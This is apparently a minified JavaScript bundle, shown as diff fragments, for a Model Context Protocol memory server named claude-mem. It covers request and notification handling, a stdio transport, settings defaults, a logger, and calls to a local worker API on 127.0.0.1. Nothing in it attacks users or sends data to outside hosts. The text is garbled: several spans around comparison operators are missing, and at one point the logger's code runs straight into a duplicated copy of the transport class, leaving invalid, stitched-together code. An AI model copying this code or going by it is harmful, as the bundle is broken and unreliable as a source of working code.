0?y:!1),this._transport.send(v,{relatedRequestId:r,resumptionToken:n,onresumptiontoken:l}).catch(R=>{this._cleanupTimeout(_),f(R)})})}async notification(e,t){var s,r;if(!this._transport)throw new Error("Not connected");if(this.assertNotificationCapability(e.method),((r=(s=this._options)===null||s===void 0?void 0:s.debouncedNotificationMethods)!==null&&r!==void 0?r:[]).includes(e.method)&&!e.params&&!t?.relatedRequestId){if(this._pendingDebouncedNotifications.has(e.method))return;this._pendingDebouncedNotifications.add(e.method),Promise.resolve().then(()=>{var f;if(this._pendingDebouncedNotifications.delete(e.method),!this._transport)return;let d={...e,jsonrpc:"2.0"};(f=this._transport)===null||f===void 0||f.send(d,t).catch(h=>this._onerror(h))});return}let i={...e,jsonrpc:"2.0"};await this._transport.send(i,t)}setRequestHandler(e,t){let s=e.shape.method.value;this.assertRequestHandlerCapability(s),this._requestHandlers.set(s,(r,n)=>Promise.resolve(t(e.parse(r),n)))}removeRequestHandler(e){this._requestHandlers.delete(e)}assertCanSetRequestHandler(e){if(this._requestHandlers.has(e))throw new Error(`A request handler for ${e} already exists, which would be overridden`)}setNotificationHandler(e,t){this._notificationHandlers.set(e.shape.method.value,s=>Promise.resolve(t(e.parse(s))))}removeNotificationHandler(e){this._notificationHandlers.delete(e)}};function an(a,e){return Object.entries(e).reduce((t,[s,r])=>(r&&typeof r=="object"?t[s]=t[s]?{...t[s],...r}:r:t[s]=r,t),{...a})}var io=Ea(no(),1),la=class extends Ht{constructor(e,t){var s;super(t),this._serverInfo=e,this._loggingLevels=new Map,this.LOG_LEVEL_SEVERITY=new Map(bt.options.map((r,n)=>[r,n])),this.isMessageIgnored=(r,n)=>{let l=this._loggingLevels.get(n);return l?this.LOG_LEVEL_SEVERITY.get(r)this._oninitialize(r)),this.setNotificationHandler(Ta,()=>{var r;return(r=this.oninitialized)===null||r===void 0?void 0:r.call(this)}),this._capabilities.logging&&this.setRequestHandler(ka,async(r,n)=>{var l;let i=n.sessionId||((l=n.requestInfo)===null||l===void 0?void 0:l.headers["mcp-session-id"])||void 0,{level:f}=r.params,d=bt.safeParse(f);return d.success&&this._loggingLevels.set(i,d.data),{}})}registerCapabilities(e){if(this.transport)throw new Error("Cannot register capabilities after connecting to transport");this._capabilities=an(this._capabilities,e)}assertCapabilityForMethod(e){var t,s,r;switch(e){case"sampling/createMessage":if(!(!((t=this._clientCapabilities)===null||t===void 0)&&t.sampling))throw new Error(`Client does not support sampling (required for ${e})`);break;case"elicitation/create":if(!(!((s=this._clientCapabilities)===null||s===void 0)&&s.elicitation))throw new Error(`Client does not support elicitation (required for ${e})`);break;case"roots/list":if(!(!((r=this._clientCapabilities)===null||r===void 0)&&r.roots))throw new Error(`Client does not support listing roots (required for ${e})`);break;case"ping":break}}assertNotificationCapability(e){switch(e){case"notifications/message":if(!this._capabilities.logging)throw new Error(`Server does not support logging (required for ${e})`);break;case"notifications/resources/updated":case"notifications/resources/list_changed":if(!this._capabilities.resources)throw new Error(`Server does not support notifying about resources (required for ${e})`);break;case"notifications/tools/list_changed":if(!this._capabilities.tools)throw new Error(`Server does not support notifying of tool list changes (required for ${e})`);break;case"notifications/prompts/list_changed":if(!this._capabilities.prompts)throw new Error(`Server does not support notifying of prompt list changes (required for ${e})`);break;case"notifications/cancelled":break;case"notifications/progress":break}}assertRequestHandlerCapability(e){switch(e){case"sampling/createMessage":if(!this._capabilities.sampling)throw new Error(`Server does not support sampling (required for ${e})`);break;case"logging/setLevel":if(!this._capabilities.logging)throw new Error(`Server does not support logging (required for ${e})`);break;case"prompts/get":case"prompts/list":if(!this._capabilities.prompts)throw new Error(`Server does not support prompts (required for ${e})`);break;case"resources/list":case"resources/templates/list":case"resources/read":if(!this._capabilities.resources)throw new Error(`Server does not support resources (required for ${e})`);break;case"tools/call":case"tools/list":if(!this._capabilities.tools)throw new Error(`Server does not support tools (required for ${e})`);break;case"ping":case"initialize":break}}async _oninitialize(e){let t=e.params.protocolVersion;return this._clientCapabilities=e.params.capabilities,this._clientVersion=e.params.clientInfo,{protocolVersion:Ms.includes(t)?t:xa,capabilities:this.getCapabilities(),serverInfo:this._serverInfo,...this._instructions&&{instructions:this._instructions}}}getClientCapabilities(){return this._clientCapabilities}getClientVersion(){return this._clientVersion}getCapabilities(){return this._capabilities}async ping(){return this.request({method:"ping"},jt)}async createMessage(e,t){return this.request({method:"sampling/createMessage",params:e},Na,t)}async elicitInput(e,t){let s=await this.request({method:"elicitation/create",params:e},La,t);if(s.action==="accept"&&s.content)try{let r=new io.default,n=r.compile(e.requestedSchema);if(!n(s.content))throw new Ke(Ze.InvalidParams,`Elicitation response content does not match requested schema: ${r.errorsText(n.errors)}`)}catch(r){throw r instanceof Ke?r:new Ke(Ze.InternalError,`Error validating elicitation response: ${r}`)}return s}async listRoots(e,t){return this.request({method:"roots/list",params:e},ja,t)}async sendLoggingMessage(e,t){if(this._capabilities.logging&&!this.isMessageIgnored(e.level,t))return this.notification({method:"notifications/message",params:e})}async sendResourceUpdated(e){return this.notification({method:"notifications/resources/updated",params:e})}async sendResourceListChanged(){return this.notification({method:"notifications/resources/list_changed"})}async sendToolListChanged(){return this.notification({method:"notifications/tools/list_changed"})}async sendPromptListChanged(){return this.notification({method:"notifications/prompts/list_changed"})}};var ls=Ea(require("node:process"),1);var ca=class{append(e){this._buffer=this._buffer?Buffer.concat([this._buffer,e]):e}readMessage(){if(!this._buffer)return null;let e=this._buffer.indexOf(` `);if(e===-1)return null;let t=this._buffer.toString("utf8",0,e).replace(/\r$/,"");return this._buffer=this._buffer.subarray(e+1),Cd(t)}clear(){this._buffer=void 0}};function Cd(a){return Ks.parse(JSON.parse(a))}function oo(a){return JSON.stringify(a)+` -`}var ua=class{constructor(e=ls.default.stdin,t=ls.default.stdout){this._stdin=e,this._stdout=t,this._readBuffer=new ca,this._started=!1,this._ondata=s=>{this._readBuffer.append(s),this.processReadBuffer()},this._onerror=s=>{var r;(r=this.onerror)===null||r===void 0||r.call(this,s)}}async start(){if(this._started)throw new Error("StdioServerTransport already started! If using Server class, note that connect() calls start() automatically.");this._started=!0,this._stdin.on("data",this._ondata),this._stdin.on("error",this._onerror)}processReadBuffer(){for(var e,t;;)try{let s=this._readBuffer.readMessage();if(s===null)break;(e=this.onmessage)===null||e===void 0||e.call(this,s)}catch(s){(t=this.onerror)===null||t===void 0||t.call(this,s)}}async close(){var e;this._stdin.off("data",this._ondata),this._stdin.off("error",this._onerror),this._stdin.listenerCount("data")===0&&this._stdin.pause(),this._readBuffer.clear(),(e=this.onclose)===null||e===void 0||e.call(this)}send(e){return new Promise(t=>{let s=oo(e);this._stdout.write(s)?t():this._stdout.once("drain",t)})}};var ot=require("fs"),uo=require("path"),fo=require("os");var Dd=["bugfix","feature","refactor","discovery","decision","change"],kd=["how-it-works","why-it-exists","what-changed","problem-solution","gotcha","pattern","trade-off"];var lo=Dd.join(","),co=kd.join(",");var We=class{static DEFAULTS={CLAUDE_MEM_MODEL:"claude-sonnet-4-5",CLAUDE_MEM_CONTEXT_OBSERVATIONS:"50",CLAUDE_MEM_WORKER_PORT:"37777",CLAUDE_MEM_WORKER_HOST:"127.0.0.1",CLAUDE_MEM_SKIP_TOOLS:"ListMcpResourcesTool,SlashCommand,Skill,TodoWrite,AskUserQuestion",CLAUDE_MEM_DATA_DIR:(0,uo.join)((0,fo.homedir)(),".claude-mem"),CLAUDE_MEM_LOG_LEVEL:"INFO",CLAUDE_MEM_PYTHON_VERSION:"3.13",CLAUDE_CODE_PATH:"",CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT:"true",CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES:lo,CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS:co,CLAUDE_MEM_CONTEXT_FULL_COUNT:"5",CLAUDE_MEM_CONTEXT_FULL_FIELD:"narrative",CLAUDE_MEM_CONTEXT_SESSION_COUNT:"10",CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY:"true",CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE:"false"};static getAllDefaults(){return{...this.DEFAULTS}}static get(e){return this.DEFAULTS[e]}static getInt(e){let t=this.get(e);return parseInt(t,10)}static getBool(e){return this.get(e)==="true"}static loadFromFile(e){try{if(!(0,ot.existsSync)(e))return this.getAllDefaults();let t=(0,ot.readFileSync)(e,"utf-8"),s=JSON.parse(t),r=s;if(s.env&&typeof s.env=="object"){r=s.env;try{(0,ot.writeFileSync)(e,JSON.stringify(r,null,2),"utf-8"),me.info("SETTINGS","Migrated settings file from nested to flat schema",{settingsPath:e})}catch(l){me.warn("SETTINGS","Failed to auto-migrate settings file",{settingsPath:e},l)}}let n={...this.DEFAULTS};for(let l of Object.keys(this.DEFAULTS))r[l]!==void 0&&(n[l]=r[l]);return n}catch(t){return me.warn("SETTINGS","Failed to load settings, using defaults",{settingsPath:e},t),this.getAllDefaults()}}};var cs=(n=>(n[n.DEBUG=0]="DEBUG",n[n.INFO=1]="INFO",n[n.WARN=2]="WARN",n[n.ERROR=3]="ERROR",n[n.SILENT=4]="SILENT",n))(cs||{}),us=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let e=We.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=cs[e]??1}return this.level}correlationId(e,t){return`obs-${e}-${t}`}sessionId(e){return`session-${e}`}formatData(e){if(e==null)return"";if(typeof e=="string")return e;if(typeof e=="number"||typeof e=="boolean")return e.toString();if(typeof e=="object"){if(e instanceof Error)return this.getLevel()===0?`${e.message} -${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let t=Object.keys(e);return t.length===0?"{}":t.length<=3?JSON.stringify(e):`{${t.length} keys: ${t.slice(0,3).join(", ")}...}`}return String(e)}formatTool(e,t){if(!t)return e;try{let s=typeof t=="string"?JSON.parse(t):t;if(e==="Bash"&&s.command)return`${e}(${s.command})`;if(s.file_path)return`${e}(${s.file_path})`;if(s.notebook_path)return`${e}(${s.notebook_path})`;if(e==="Glob"&&s.pattern)return`${e}(${s.pattern})`;if(e==="Grep"&&s.pattern)return`${e}(${s.pattern})`;if(s.url)return`${e}(${s.url})`;if(s.query)return`${e}(${s.query})`;if(e==="Task"){if(s.subagent_type)return`${e}(${s.subagent_type})`;if(s.description)return`${e}(${s.description})`}return e==="Skill"&&s.skill?`${e}(${s.skill})`:e==="LSP"&&s.operation?`${e}(${s.operation})`:e}catch{return e}}formatTimestamp(e){let t=e.getFullYear(),s=String(e.getMonth()+1).padStart(2,"0"),r=String(e.getDate()).padStart(2,"0"),n=String(e.getHours()).padStart(2,"0"),l=String(e.getMinutes()).padStart(2,"0"),i=String(e.getSeconds()).padStart(2,"0"),f=String(e.getMilliseconds()).padStart(3,"0");return`${t}-${s}-${r} ${n}:${l}:${i}.${f}`}log(e,t,s,r,n){if(e{this._readBuffer.append(s),this.processReadBuffer()},this._onerror=s=>{var r;(r=this.onerror)===null||r===void 0||r.call(this,s)}}async start(){if(this._started)throw new Error("StdioServerTransport already started! If using Server class, note that connect() calls start() automatically.");this._started=!0,this._stdin.on("data",this._ondata),this._stdin.on("error",this._onerror)}processReadBuffer(){for(var e,t;;)try{let s=this._readBuffer.readMessage();if(s===null)break;(e=this.onmessage)===null||e===void 0||e.call(this,s)}catch(s){(t=this.onerror)===null||t===void 0||t.call(this,s)}}async close(){var e;this._stdin.off("data",this._ondata),this._stdin.off("error",this._onerror),this._stdin.listenerCount("data")===0&&this._stdin.pause(),this._readBuffer.clear(),(e=this.onclose)===null||e===void 0||e.call(this)}send(e){return new Promise(t=>{let s=oo(e);this._stdout.write(s)?t():this._stdout.once("drain",t)})}};var ot=require("fs"),uo=require("path"),fo=require("os");var lo="bugfix,feature,refactor,discovery,decision,change",co="how-it-works,why-it-exists,what-changed,problem-solution,gotcha,pattern,trade-off";var We=class{static DEFAULTS={CLAUDE_MEM_MODEL:"claude-sonnet-4-5",CLAUDE_MEM_CONTEXT_OBSERVATIONS:"50",CLAUDE_MEM_WORKER_PORT:"37777",CLAUDE_MEM_WORKER_HOST:"127.0.0.1",CLAUDE_MEM_SKIP_TOOLS:"ListMcpResourcesTool,SlashCommand,Skill,TodoWrite,AskUserQuestion",CLAUDE_MEM_DATA_DIR:(0,uo.join)((0,fo.homedir)(),".claude-mem"),CLAUDE_MEM_LOG_LEVEL:"INFO",CLAUDE_MEM_PYTHON_VERSION:"3.13",CLAUDE_CODE_PATH:"",CLAUDE_MEM_MODE:"code",CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT:"true",CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES:lo,CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS:co,CLAUDE_MEM_CONTEXT_FULL_COUNT:"5",CLAUDE_MEM_CONTEXT_FULL_FIELD:"narrative",CLAUDE_MEM_CONTEXT_SESSION_COUNT:"10",CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY:"true",CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE:"false"};static getAllDefaults(){return{...this.DEFAULTS}}static get(e){return this.DEFAULTS[e]}static getInt(e){let t=this.get(e);return parseInt(t,10)}static getBool(e){return this.get(e)==="true"}static loadFromFile(e){try{if(!(0,ot.existsSync)(e))return this.getAllDefaults();let t=(0,ot.readFileSync)(e,"utf-8"),s=JSON.parse(t),r=s;if(s.env&&typeof s.env=="object"){r=s.env;try{(0,ot.writeFileSync)(e,JSON.stringify(r,null,2),"utf-8"),me.info("SETTINGS","Migrated settings file from nested to flat schema",{settingsPath:e})}catch(l){me.warn("SETTINGS","Failed to auto-migrate settings file",{settingsPath:e},l)}}let n={...this.DEFAULTS};for(let l of Object.keys(this.DEFAULTS))r[l]!==void 0&&(n[l]=r[l]);return n}catch(t){return me.warn("SETTINGS","Failed to load settings, using defaults",{settingsPath:e},t),this.getAllDefaults()}}};var cs=(n=>(n[n.DEBUG=0]="DEBUG",n[n.INFO=1]="INFO",n[n.WARN=2]="WARN",n[n.ERROR=3]="ERROR",n[n.SILENT=4]="SILENT",n))(cs||{}),us=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let e=We.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=cs[e]??1}return this.level}correlationId(e,t){return`obs-${e}-${t}`}sessionId(e){return`session-${e}`}formatData(e){if(e==null)return"";if(typeof e=="string")return e;if(typeof e=="number"||typeof e=="boolean")return e.toString();if(typeof e=="object"){if(e instanceof Error)return this.getLevel()===0?`${e.message} +${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let t=Object.keys(e);return t.length===0?"{}":t.length<=3?JSON.stringify(e):`{${t.length} keys: ${t.slice(0,3).join(", ")}...}`}return String(e)}formatTool(e,t){if(!t)return e;let s=typeof t=="string"?JSON.parse(t):t;if(e==="Bash"&&s.command)return`${e}(${s.command})`;if(s.file_path)return`${e}(${s.file_path})`;if(s.notebook_path)return`${e}(${s.notebook_path})`;if(e==="Glob"&&s.pattern)return`${e}(${s.pattern})`;if(e==="Grep"&&s.pattern)return`${e}(${s.pattern})`;if(s.url)return`${e}(${s.url})`;if(s.query)return`${e}(${s.query})`;if(e==="Task"){if(s.subagent_type)return`${e}(${s.subagent_type})`;if(s.description)return`${e}(${s.description})`}return e==="Skill"&&s.skill?`${e}(${s.skill})`:e==="LSP"&&s.operation?`${e}(${s.operation})`:e}formatTimestamp(e){let t=e.getFullYear(),s=String(e.getMonth()+1).padStart(2,"0"),r=String(e.getDate()).padStart(2,"0"),n=String(e.getHours()).padStart(2,"0"),l=String(e.getMinutes()).padStart(2,"0"),i=String(e.getSeconds()).padStart(2,"0"),f=String(e.getMilliseconds()).padStart(3,"0");return`${t}-${s}-${r} ${n}:${l}:${i}.${f}`}log(e,t,s,r,n){if(e0&&(m=` {${Object.entries(v).map(([T,x])=>`${T}=${x}`).join(", ")}}`)}let E=`[${l}] [${i}] [${f}] ${d}${s}${m}${h}`;e===3?console.error(E):console.log(E)}debug(e,t,s,r){this.log(0,e,t,s,r)}info(e,t,s,r){this.log(1,e,t,s,r)}warn(e,t,s,r){this.log(2,e,t,s,r)}error(e,t,s,r){this.log(3,e,t,s,r)}dataIn(e,t,s,r){this.info(e,`\u2192 ${t}`,s,r)}dataOut(e,t,s,r){this.info(e,`\u2190 ${t}`,s,r)}success(e,t,s,r){this.info(e,`\u2713 ${t}`,s,r)}failure(e,t,s,r){this.error(e,`\u2717 ${t}`,s,r)}timing(e,t,s,r){this.info(e,`\u23F1 ${t}`,r,{duration:`${s}ms`})}happyPathError(e,t,s,r,n=""){let d=((new Error().stack||"").split(` -`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),h=d?`${d[1].split("/").pop()}:${d[2]}`:"unknown",m={...s,location:h};return this.warn(e,`[HAPPY-PATH] ${t}`,m,r),n}},me=new us;var pa=Ea(require("path"),1),go=require("os");var ds={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5};function ho(a){return process.platform==="win32"?Math.round(a*ds.WINDOWS_MULTIPLIER):a}var da=require("path");var vo=require("os");var Ie=require("path"),po=require("os");var mo=require("url");var jd={};function Nd(){return typeof __dirname<"u"?__dirname:(0,Ie.dirname)((0,mo.fileURLToPath)(jd.url))}var Vh=Nd(),ar=We.get("CLAUDE_MEM_DATA_DIR"),fs=process.env.CLAUDE_CONFIG_DIR||(0,Ie.join)((0,po.homedir)(),".claude"),Hh=(0,Ie.join)(ar,"archives"),zh=(0,Ie.join)(ar,"logs"),Wh=(0,Ie.join)(ar,"trash"),Bh=(0,Ie.join)(ar,"backups"),Qh=(0,Ie.join)(ar,"settings.json"),Zh=(0,Ie.join)(ar,"claude-mem.db"),Kh=(0,Ie.join)(ar,"vector-db"),Gh=(0,Ie.join)(fs,"settings.json"),Jh=(0,Ie.join)(fs,"commands"),Yh=(0,Ie.join)(fs,"CLAUDE.md");var ip=(0,da.join)(ar,"worker.pid"),op=(0,da.join)(ar,"logs"),lp=(0,da.join)((0,vo.homedir)(),".claude","plugins","marketplaces","thedotmack");var yp=pa.default.join((0,go.homedir)(),".claude","plugins","marketplaces","thedotmack"),_p=ho(ds.HEALTH_CHECK),fa=null,ha=null;function yo(){if(fa!==null)return fa;let a=pa.default.join(We.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),e=We.loadFromFile(a);return fa=parseInt(e.CLAUDE_MEM_WORKER_PORT,10),fa}function _o(){if(ha!==null)return ha;let a=pa.default.join(We.get("CLAUDE_MEM_DATA_DIR"),"settings.json");return ha=We.loadFromFile(a).CLAUDE_MEM_WORKER_HOST,ha}console.log=(...a)=>console.error(...a);var Ld=yo(),Fd=_o(),lt=`http://${Fd}:${Ld}`,xt={search:"/api/search",timeline:"/api/timeline",get_recent_context:"/api/context/recent",get_context_timeline:"/api/context/timeline",help:"/api/instructions"},hs={search:{query:{type:"string",description:"Full-text search query"},type:{type:"string",description:"Filter by type: tool_use, tool_result, prompt, summary"},obs_type:{type:"string",description:"Observation type filter"},concepts:{type:"string",description:"Comma-separated concept tags"},files:{type:"string",description:"Comma-separated file paths"},project:{type:"string",description:"Project name filter"},dateStart:{type:["string","number"],description:"Start date (ISO or timestamp)"},dateEnd:{type:["string","number"],description:"End date (ISO or timestamp)"},limit:{type:"number",description:"Max results (default: 10)"},offset:{type:"number",description:"Result offset for pagination"},orderBy:{type:"string",description:"Sort order: created_at, relevance"}},timeline:{query:{type:"string",description:"Search query to find anchor point"},anchor:{type:"number",description:"Observation ID as timeline center"},depth_before:{type:"number",description:"Observations before anchor (default: 5)"},depth_after:{type:"number",description:"Observations after anchor (default: 5)"},type:{type:"string",description:"Filter by type"},concepts:{type:"string",description:"Comma-separated concept tags"},files:{type:"string",description:"Comma-separated file paths"},project:{type:"string",description:"Project name filter"}},get_recent_context:{limit:{type:"number",description:"Max results (default: 20)"},type:{type:"string",description:"Filter by type"},concepts:{type:"string",description:"Comma-separated concept tags"},files:{type:"string",description:"Comma-separated file paths"},project:{type:"string",description:"Project name filter"},dateStart:{type:["string","number"],description:"Start date"},dateEnd:{type:["string","number"],description:"End date"}},get_context_timeline:{anchor:{type:"number",description:"Observation ID (required)",required:!0},depth_before:{type:"number",description:"Observations before anchor"},depth_after:{type:"number",description:"Observations after anchor"},type:{type:"string",description:"Filter by type"},concepts:{type:"string",description:"Comma-separated concept tags"},files:{type:"string",description:"Comma-separated file paths"},project:{type:"string",description:"Project name filter"}},get_observations:{ids:{type:"array",items:{type:"number"},description:"Array of observation IDs (required)",required:!0},orderBy:{type:"string",description:"Sort order"},limit:{type:"number",description:"Max results"},project:{type:"string",description:"Project filter"}},help:{operation:{type:"string",description:'Operation type: "observations", "timeline", "sessions", etc.'},topic:{type:"string",description:"Specific topic for help"}},get_observation:{id:{type:"number",description:"Observation ID (required)",required:!0}},get_session:{id:{type:"number",description:"Session ID (required)",required:!0}},get_prompt:{id:{type:"number",description:"Prompt ID (required)",required:!0}}};async function wt(a,e){me.debug("SYSTEM","\u2192 Worker API",void 0,{endpoint:a,params:e});try{let t=new URLSearchParams;for(let[l,i]of Object.entries(e))i!=null&&t.append(l,String(i));let s=`${lt}${a}?${t}`,r=await fetch(s);if(!r.ok){let l=await r.text();throw new Error(`Worker API error (${r.status}): ${l}`)}let n=await r.json();return me.debug("SYSTEM","\u2190 Worker API success",void 0,{endpoint:a}),n}catch(t){return me.error("SYSTEM","\u2190 Worker API error",void 0,{endpoint:a,error:t.message}),{content:[{type:"text",text:`Error calling Worker API: ${t.message}`}],isError:!0}}}async function ps(a,e){me.debug("HTTP","Worker API request (path)",void 0,{endpoint:a,id:e});try{let t=`${lt}${a}/${e}`,s=await fetch(t);if(!s.ok){let n=await s.text();throw new Error(`Worker API error (${s.status}): ${n}`)}let r=await s.json();return me.debug("HTTP","Worker API success (path)",void 0,{endpoint:a,id:e}),{content:[{type:"text",text:JSON.stringify(r,null,2)}]}}catch(t){return me.error("HTTP","Worker API error (path)",void 0,{endpoint:a,id:e,error:t.message}),{content:[{type:"text",text:`Error calling Worker API: ${t.message}`}],isError:!0}}}async function Md(a,e){me.debug("HTTP","Worker API request (POST)",void 0,{endpoint:a});try{let t=`${lt}${a}`,s=await fetch(t,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(e)});if(!s.ok){let n=await s.text();throw new Error(`Worker API error (${s.status}): ${n}`)}let r=await s.json();return me.debug("HTTP","Worker API success (POST)",void 0,{endpoint:a}),{content:[{type:"text",text:JSON.stringify(r,null,2)}]}}catch(t){return me.error("HTTP","Worker API error (POST)",void 0,{endpoint:a,error:t.message}),{content:[{type:"text",text:`Error calling Worker API: ${t.message}`}],isError:!0}}}async function qd(){try{return(await fetch(`${lt}/api/health`)).ok}catch{return!1}}var Eo=[{name:"get_schema",description:"Get parameter schema for a tool. Call get_schema(tool_name) for details",inputSchema:{type:"object",properties:{tool_name:{type:"string"}},required:["tool_name"]},handler:async a=>{let e=a.tool_name;if(typeof e!="string"||!Object.hasOwn(hs,e))return{content:[{type:"text",text:`Unknown tool: ${e} +`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),h=d?`${d[1].split("/").pop()}:${d[2]}`:"unknown",m={...s,location:h};return this.warn(e,`[HAPPY-PATH] ${t}`,m,r),n}},me=new us;var pa=Ea(require("path"),1),go=require("os");var ds={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5};function ho(a){return process.platform==="win32"?Math.round(a*ds.WINDOWS_MULTIPLIER):a}var da=require("path");var vo=require("os");var Re=require("path"),po=require("os");var mo=require("url");var kd={};function Dd(){return typeof __dirname<"u"?__dirname:(0,Re.dirname)((0,mo.fileURLToPath)(kd.url))}var qh=Dd(),Ge=We.get("CLAUDE_MEM_DATA_DIR"),fs=process.env.CLAUDE_CONFIG_DIR||(0,Re.join)((0,po.homedir)(),".claude"),Uh=(0,Re.join)(Ge,"archives"),Vh=(0,Re.join)(Ge,"logs"),Hh=(0,Re.join)(Ge,"trash"),zh=(0,Re.join)(Ge,"backups"),Wh=(0,Re.join)(Ge,"modes"),Bh=(0,Re.join)(Ge,"settings.json"),Qh=(0,Re.join)(Ge,"claude-mem.db"),Zh=(0,Re.join)(Ge,"vector-db"),Kh=(0,Re.join)(fs,"settings.json"),Gh=(0,Re.join)(fs,"commands"),Jh=(0,Re.join)(fs,"CLAUDE.md");var np=(0,da.join)(Ge,"worker.pid"),ip=(0,da.join)(Ge,"logs"),op=(0,da.join)((0,vo.homedir)(),".claude","plugins","marketplaces","thedotmack");var gp=pa.default.join((0,go.homedir)(),".claude","plugins","marketplaces","thedotmack"),yp=ho(ds.HEALTH_CHECK),fa=null,ha=null;function yo(){if(fa!==null)return fa;let a=pa.default.join(We.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),e=We.loadFromFile(a);return fa=parseInt(e.CLAUDE_MEM_WORKER_PORT,10),fa}function _o(){if(ha!==null)return ha;let a=pa.default.join(We.get("CLAUDE_MEM_DATA_DIR"),"settings.json");return ha=We.loadFromFile(a).CLAUDE_MEM_WORKER_HOST,ha}console.log=(...a)=>console.error(...a);var Nd=yo(),Ld=_o(),lt=`http://${Ld}:${Nd}`,xt={search:"/api/search",timeline:"/api/timeline",get_recent_context:"/api/context/recent",get_context_timeline:"/api/context/timeline",help:"/api/instructions"},hs={search:{query:{type:"string",description:"Full-text search query"},type:{type:"string",description:"Filter by type: tool_use, tool_result, prompt, summary"},obs_type:{type:"string",description:"Observation type filter"},concepts:{type:"string",description:"Comma-separated concept tags"},files:{type:"string",description:"Comma-separated file paths"},project:{type:"string",description:"Project name filter"},dateStart:{type:["string","number"],description:"Start date (ISO or timestamp)"},dateEnd:{type:["string","number"],description:"End date (ISO or timestamp)"},limit:{type:"number",description:"Max results (default: 10)"},offset:{type:"number",description:"Result offset for pagination"},orderBy:{type:"string",description:"Sort order: created_at, relevance"}},timeline:{query:{type:"string",description:"Search query to find anchor point"},anchor:{type:"number",description:"Observation ID as timeline center"},depth_before:{type:"number",description:"Observations before anchor (default: 5)"},depth_after:{type:"number",description:"Observations after anchor (default: 5)"},type:{type:"string",description:"Filter by type"},concepts:{type:"string",description:"Comma-separated concept tags"},files:{type:"string",description:"Comma-separated file paths"},project:{type:"string",description:"Project name filter"}},get_recent_context:{limit:{type:"number",description:"Max results (default: 20)"},type:{type:"string",description:"Filter by type"},concepts:{type:"string",description:"Comma-separated concept tags"},files:{type:"string",description:"Comma-separated file paths"},project:{type:"string",description:"Project name filter"},dateStart:{type:["string","number"],description:"Start date"},dateEnd:{type:["string","number"],description:"End date"}},get_context_timeline:{anchor:{type:"number",description:"Observation ID (required)",required:!0},depth_before:{type:"number",description:"Observations before anchor"},depth_after:{type:"number",description:"Observations after anchor"},type:{type:"string",description:"Filter by type"},concepts:{type:"string",description:"Comma-separated concept tags"},files:{type:"string",description:"Comma-separated file paths"},project:{type:"string",description:"Project name filter"}},get_observations:{ids:{type:"array",items:{type:"number"},description:"Array of observation IDs (required)",required:!0},orderBy:{type:"string",description:"Sort order"},limit:{type:"number",description:"Max results"},project:{type:"string",description:"Project filter"}},help:{operation:{type:"string",description:'Operation type: "observations", "timeline", "sessions", etc.'},topic:{type:"string",description:"Specific topic for help"}},get_observation:{id:{type:"number",description:"Observation ID (required)",required:!0}},get_session:{id:{type:"number",description:"Session ID (required)",required:!0}},get_prompt:{id:{type:"number",description:"Prompt ID (required)",required:!0}}};async function wt(a,e){me.debug("SYSTEM","\u2192 Worker API",void 0,{endpoint:a,params:e});try{let t=new URLSearchParams;for(let[l,i]of Object.entries(e))i!=null&&t.append(l,String(i));let s=`${lt}${a}?${t}`,r=await fetch(s);if(!r.ok){let l=await r.text();throw new Error(`Worker API error (${r.status}): ${l}`)}let n=await r.json();return me.debug("SYSTEM","\u2190 Worker API success",void 0,{endpoint:a}),n}catch(t){return me.error("SYSTEM","\u2190 Worker API error",void 0,{endpoint:a,error:t.message}),{content:[{type:"text",text:`Error calling Worker API: ${t.message}`}],isError:!0}}}async function ps(a,e){me.debug("HTTP","Worker API request (path)",void 0,{endpoint:a,id:e});try{let t=`${lt}${a}/${e}`,s=await fetch(t);if(!s.ok){let n=await s.text();throw new Error(`Worker API error (${s.status}): ${n}`)}let r=await s.json();return me.debug("HTTP","Worker API success (path)",void 0,{endpoint:a,id:e}),{content:[{type:"text",text:JSON.stringify(r,null,2)}]}}catch(t){return me.error("HTTP","Worker API error (path)",void 0,{endpoint:a,id:e,error:t.message}),{content:[{type:"text",text:`Error calling Worker API: ${t.message}`}],isError:!0}}}async function jd(a,e){me.debug("HTTP","Worker API request (POST)",void 0,{endpoint:a});try{let t=`${lt}${a}`,s=await fetch(t,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(e)});if(!s.ok){let n=await s.text();throw new Error(`Worker API error (${s.status}): ${n}`)}let r=await s.json();return me.debug("HTTP","Worker API success 